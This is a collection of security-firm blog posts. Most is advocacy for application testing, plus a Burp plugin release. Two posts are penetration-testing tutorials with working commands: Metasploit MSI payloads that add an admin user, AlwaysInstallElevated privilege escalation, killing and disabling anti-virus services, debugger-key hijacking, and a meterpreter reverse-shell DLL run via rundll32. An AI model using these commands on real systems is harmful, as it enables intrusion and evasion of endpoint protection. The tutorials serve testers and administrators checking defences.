Back

Mobile Application Testing – Where is it?

I was reading a few articles about how mobile devices, because of their popularity, are now the focus of malicious hackers. I thought this was interesting because many companies are developing applications for the mobile platforms and based on the information I have heard, they really do not have a formal process to test these applications for security. Back in March, NetSPI put on a webinar on how to test for security issues in a mobile application. NetSPI also gave this presentation at Secure360 and OWASP NY. I was hoping I would see other companies putting out information on doing this kind of testing and I have seen a few. However, there has not been enough emphasis on mobile application testing. Maybe I am not on the right mailing lists, but many lists contain articles on defending the device itself. I have seen much of the emphasis on MDMs. This is good, but it does not prevent the application from doing a poor job of protecting sensitive data. A couple of questions to ask yourself about securing a mobile application: 

  • Do you know if the developers, either internal or third party, have put a back door in the application?
  • Do you know if your application is storing passwords or keys on its file system in the clear?
  • How about someone putting a malicious application on the Google or Apple stores and this application starts collecting this information?
  • How would your companies reputation be changed because of this, once it gets out to the press?

At a minimum, have the application tested by someone not involved in the development of the application; this can be internal personnel or an external company. At best, have the application and code reviewed for security flaws. What are your reasons you are not doing this? We do not know how We do not have the manpower There is not enough time These are just excuses. Learn the processes, call a company (such as NetSPI) to do the testing for you, but get it done and get it secured.

Back

Bypassing Anti-Virus with Metasploit MSI Files

A while back I put together a short blog titled 10 Evil User Tricks for Bypassing Anti-Virus. The goal was to highlight common anti-virus misconfigurations. While I was chatting with Mark Beard he mentioned that I neglected to include how to use Metasploit payloads packaged in MSI files. So in this blog I’ll try to make amends by providing a quick and dirty walkthrough of how to do that. This should be useful for both sysadmins and penetration testers.

Creating MSI Files that Run Metasploit Payloads

The Metasploit Framework team (and the greater security community) has made it easy and fun to package Metasploit payloads in almost any file format. Thankfully that includes MSI files. MSI files are Windows installation packages commonly used to deploy software via GPO and other methods. Luckily for penetration testers some anti-virus solutions aren’t configured by default to scan .msi files or the .tmp files that are generated when MSI files are executed. For those of you who are interested in testing if your anti-virus solution stops Metasploit payloads packaged in .MSI files I worked with Mark to put together this short procedure.

  1. Use the msfconsole to create a MSI file that will execute a Metasploit payload. Feel free to choose your favorite payload, but I chose adduser because it makes for an easy test. Note: This payload requires local admin privileges to add the user.

    msfconsole use payload/windows/adduser set PASS Attacker123! set USER Attacker generate -t msi -f /tmp/evil.msi

    Alternatively, you can generate the MSI file with the msfvenom ruby script that comes with Metasploit:

    msfvenom -p windows/adduser USER=Attacker PASS=Attacker123! -f msi > evil.msi
  2. Copy the evil.msi file to the target system and run the MSI installation from the command line to execute the Metasploit payload. From a penetration test perspective using the /quiet switch is handy, because it suppresses messages that would normally be displayed to the user.
    msiexec /quiet /qn /I c:tempevil.msi
  3. Check anti-virus logs to see if the payload was identified. You can also check to see if the payload executed and added the “Attacker” user with the command below. If user information is returned then the payload executed successfully.
    net user attacker

The MSI file is configured to execute the payload, but will not complete the formal installation process, because the authors (Ben Campbell and Parvez Anwar) forced it to fail using some invalid VBS. So uninstalling it won’t be required after execution. However, during execution a randomly named .tmp file will be created that contains the MSF payload in the c:windowsInstaller folder. The file should be cleaned up automatically, but if the installation fails out for any reason the file will most likely need to be removed manually. The file will look something like “c:windowsInstallerMSI5D2F.tmp”.

As a side note, it appears that the .tmp file is basically a renamed .exe file. So if you manually rename the .tmp file to an .exe file you can execute it directly. Also, once it’s renamed to an .exe file anti-virus starts to pick it up.

Escalating Privileges with MSI Packages

As it turns out MSI files are handy for more than simply avoiding anti-virus. Parvez Anwar figured out that they can also be used to escalate privileges from local user to local administrator if the group policy setting “Always install with elevated privileges” is enabled for the computer and user configurations. The setting is exactly what it sounds like. It provides users with the ability to install any horrible ad-ware, pron-ware, or malware they want onto corporate systems. In gpedit.msc the configuration looks something like this:

Scott_S_Executing_MSI_1

The policies can also be viewed or modified from the following registry locations:

[HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsInstaller]
“AlwaysInstallElevated”=dword:00000001

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller]
“AlwaysInstallElevated”=dword:00000001

For those of you who don’t want to go through hassle of generating and executing the MSI files manually Ben Campell (meatballs) and Parvez Anwar were nice enough to put together a Metasploit module to do it for you called “Windows AlwaysInstallElevated MSI“. The technique was also mentioned during a recent presentation by Rob Fuller (mubix) and Chris Gates (carnal0wnage) titled “AT is the new BLACK” which is worth checking out.

Wrap Up

The down side is that MSI files can pose a serious threat if anti-virus and group policy settings are not configured securely. However, the bright side is it’s an easy problem to fix in most environments. Good hunting, and don’t forget to Hack Responsibly!

References

Back

Oracle’s stealth password cracking vulnerability

I just read an article about how Oracle Database suffers from “stealth password cracking vulnerability“. This means someone trying to exploit this vulnerability can brute force your passwords and you would never know about it. Oracle fixed this vulnerability in the new version of the authentication protocol but decided not to patch the previous version. Therefore, everyone running Oracle 11G will need to upgrade.  Upgrading is going to be an issue for many companies running Oracle 11G since either they cannot or will not upgrade for many reasons. Maybe it is time to rethink this policy in your organization. There is a paper published about the problems in the Oracle Authentication protocol, so your databases are possible being attacked right now. Because many companies do not upgrade, this vulnerability is going to be around for a long time.

Back

10 Evil User Tricks for Bypassing Anti-Virus

Introduction

Many anti-virus solutions are deployed with weak configurations that provide end users with the ability to quickly disable or work around the product if they wish. As a result, even users without super hacker “skillz” can run malicious executables (intentionally or not) without having to actually modify them in any way to avoid detection. Naturally, such techniques lend themselves well to penetration testing. This blog will provide a brief overview of 10 issues to watch out for. It should be interesting to administrators looking for basic weaknesses in their current implementations. However, it will most likely be less interesting to the veteran pentester. Short disclaimer: This is far from complete, and truth be told there is no perfect anti-anything. In spite of that, I hope that you enjoy the read. I’ve provided a summary of what will be covered for those who don’t feel like reading the whole blog first.

  1. Add Anti-Virus Policy Exceptions
  2. Disable Anti-Virus via the GUI
  3. Terminate Anti-Virus Processes
  4. Stop and Disable Anti-Virus Services
  5. Disable Anti-Virus via Debugger Settings
  6. Uninstall Anti-Virus
  7. Execute from a  UNC Path or Removable Media
  8. Execute from an Alternative Data Stream
  9. Execute from a DLL
  10. Execute from Outside the File Systems

Add Anti-Virus Policy Exceptions

A fun option that occasionally works is creating custom exceptions to the anti-virus solution’s policy. For example, an end user could create an exception that would allow all files with the “.exe” extension to run on the system. As a result, most malware and “hacker tools” would not get blocked or deleted. For an example of how this could be accomplished in the Symantec End Point Protection product, please refer to the following Symantec help page: https://www.symantec.com/business/support/index?page=content&id=TECH104326

Disable Anti-Virus via the GUI

This is less common in recent years, but historically non-administrative users had the privileges to disable many anti-virus solutions via the GUI interface. It used to be as simple as right-clicking the taskbar icon and choosing disable. As you can imagine, the skill level required to execute this bypass is low, but the risk to an organization is high.

Terminate Anti-Virus Processes

Some anti-virus solutions consist of multiple services that like to continuously restart each other. That’s when terminating the process before disabling a service can come in handy. Usually the taskkill command can be used. That’s essentially what the Metasploit post module “killav” does. A closer look at the module can be found here: https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/killav.rb You can issue the command below to forcefully kill a task manually with taskkill:

Taskkill /F /IM avprocess.exe

Stop and Disable Anti-Virus Services

In some cases users don’t have the privileges to disable anti-virus via the GUI, but they do have control over the associated services. If that is the case, then anti-virus services can usually be stopped and disabled. This can be accomplished via services.msc, the “sc” command, or the “net stop” command. However, always make sure to be a good little pentester and restore the services to their original state before logging out of the system. To stop a Windows service issue the following command:

net stop “service name”

To disable a Windows service issue the following command:

sc config "service name" start= disabled

The services.msc console can be also be used to stop and disabled services via a GUI interface.  It can be accessed by navigating to start->run, and typing “services.msc”.

Disable Anti-Virus via Debugger Setting

This is a very cool trick that Khai Tran told me about. The original article he referenced can be found at https://blogs.msdn.com/b/greggm/archive/2005/02/21/377663.aspx. I recommend taking a look at it. In short, it says that users have the ability to prevent anti-virus from running by setting a custom debugger in the registry. When the operating system or user attempts to execute anti-virus the specified debugger is executed instead. Very clever, Internet, very clever. Apparently this has been used by malware developers for years. The basic steps for conducting the attack have been provided below. Please note that these were taken from the link above.

  1. Run regedit.exe
  2. Go to HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
  3. Create a new key (example: calc.exe)
  4. Create a new string value under your exe. The name of the string value is ‘Debugger’, and the value is svchost.exe (or anything)

Uninstall Anti-Virus Software

Although I don’t recommend uninstalling anti-virus during a penetration test, it can still be considered a valid bypass method. Some solutions may require a password before the uninstall process can begin. In those instances, the password can usually be found in the registry or an ini file on the system. However, other bypass methods are available like the one described within the article link below. It recommends simply terminating the “msiexec.exe” process when prompted for the uninstall password. https://helpdeskgeek.com/help-desk/uninstall-symantec-endpoint-protection-without-a-password/

Execute from a UNC Path or Removable Media

Some solutions are not configured to scan or prevent the execution of malicious binaries from SMB or WebDAV when accessed via the UNC path. It’s strange, but true. As a result, attackers can simply map an evil share containing backdoors, hacker tools etc., and execute malware to their hearts’ content. I guess some people are under the impression that malware can’t be stored on network drives. Similarly, some solutions are not configured to scan or prevent the execution of binaries from removable media such as an SD card, iPod, or USB drive. It’s pretty common to drop evil USB drives during onsite social engineering engagements, so this one scares me a little.

Execute from Alternative Data Streams

Alternative data streams allow users to store data in a file via an extended file name. Microsoft says, “By default, all data is stored in a file’s main unnamed data stream, but by using the syntax ‘file:stream’, you are able to read and write to alternates.”. Malware commonly stores text, payloads, and even full binaries in alternative streams. Historically anti-virus solutions have missed a lot of malware that uses alternative data streams. However, AV has gotten much better at finding them over the years. You can scan your system for files containing alternative data streams with streams (https://technet.microsoft.com/en-us/sysinternals/bb897440.aspx) tool from the Sysinternals toolkit. Also, you can try the technique out for yourself using the basic example below. Echo the text “Hello world” into a new file’s main data stream:

echo Hello world > file

Echo the text “Hello Evil” into an alternative data stream:

echo Hello evil > file:evil

Read from the file’s main data stream:

type file

Read from the file’s alternative data stream:

type file:evil

Execute from a DLL

In some cases I’ve found that anti-virus solutions miss malicious code if it’s placed into a DLL instead of an EXE file. I’ve provide a basic example of how to generate and run a DLL using the Metasploit Framework below. Create an evil DLL containing a meterpreter payload with the msfpayload command:

msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 D > evil.dll

Run the DLL main function with Rundll32 command:

Rundll32 evil.dll, @DllMain12

Execute from Outside the File System

Apparently, some malware stores and executes code from outside of the file system on the disk. It sounds like you can access the code by referencing the physical drive in some way. I haven’t had time to really explore this one, but it is touched in the book “Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software“. Excellent read in my opinion. I’ll share once I know more. If anyone has the details let me know.

Wrap Up

Hopefully you’ve had some fun experimenting and have a better understanding of the level of protection most anti-virus solutions truly offer. I’m working on a few other blogs that focus on bypassing anti-virus via source code, binary, and process manipulation that should also add some insight into common bypass methods. In the meantime, have fun and hack responsibility.

Back

Tool release: AMF Deserialize Burp Plugin

Action Message Format (AMF) is one of the communication protocols used to exchange messages between Flash client and server; the others are RTMP and XML. BurpAMFDSer is another Burp plugin that will deserialize/serialize AMF request and response to and from XML with the use of Xtream library (https://xstream.codehaus.org/). BurpAMFDSer also utilizes part of Kenneth Hill’s Jmeter source code for custom AMF deserialization (https://github.com/steeltomato/jmeter-amf).

How to run:

java -classpath burp.jar;burpAMFDser.jar;xstream-1.4.2.jar burp.StartBurp

Sample serialized Request:

Img E A E F Ca

Sample deserialized Request:

Img E A A Dac

Sample deserialized Response:

Img E A D B F

Source code and executables are available at:
https://github.com/NetSPI/burp-plugins/tree/master/BurpAMFDSer/Old_APIs

The sample application in the screenshot is TraderDesktop, provided as part of ADEP Data Services for Java EE 4.6 and could be downloaded at: https://www.adobe.com/cfusion/tdrc/index.cfm?product=livecycle_dataservices

I’ve also developed a newer version of this plugin to be compatible with the new Burp Extender APIs (https://blog.portswigger.net/2012/12/draft-new-extensibility-api.html). Now you can modify AMF requests and responses in a separate tab.

The new plugin can be loaded dynamically via Burp Extender:

Img E A Cee

Sample Request:

Img E A D

I also added 2 new menus to work with Intruder and Scanner (pro version only)

Send deserialized request to Intruder

Img E A B F

Scan AMF (Pro version only)

Img E A

Unfortunately, the new APIs are only available for Burp Suite Pro version 1.5.01 and later. Hopefully the author will update the free version soon.

If you are interested, source code and executable are available at: https://github.com/NetSPI/burp-plugins/tree/master/BurpAMFDSer/New_APIs

Back

Happy New Year – Have you made your application testing resolution yet?

Now that we have come upon the new year, it is time to resolve to statically test (code review) and dynamically (penetration test) test your applications.

You may be saying to yourself that we do not need to do one or both of these tests, but why? Applications are being attacked with a passion from all sides, including from the inside of your company. Individually, neither type of test can find all of the vulnerabilities in your applications, so by not doing both, there will be vulnerabilities you have missed.

If you do have these tests done (one or both), make sure to fix the problems (vulnerabilities) that are discovered. Do not assume that they will not be taken advantage of at any time in the future. We have often heard “Oh, this application is only available internally, nothing will happen” or even “No one can take advantage of that vulnerability” or even better “We will just wait to fix it when we have time”.

How can you be sure that no one will find the vulnerability? NetSPI has some smart people, but the bad guys also have some smart people. If we can find the vulnerability, given enough time, someone else will also find it. When they do find them, what will they do with it? Steal your information, steal some money, or even worse, ruin your reputation.

Will you ever have time to fix these vulnerabilities? These may be put on your list of fixes, but priorities change and marketing may put something on the list that just absolutely has to be added to the application; there goes your time to fix the problems.

Now say after me, “I will have my applications code reviewed and pen tested this year.”

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X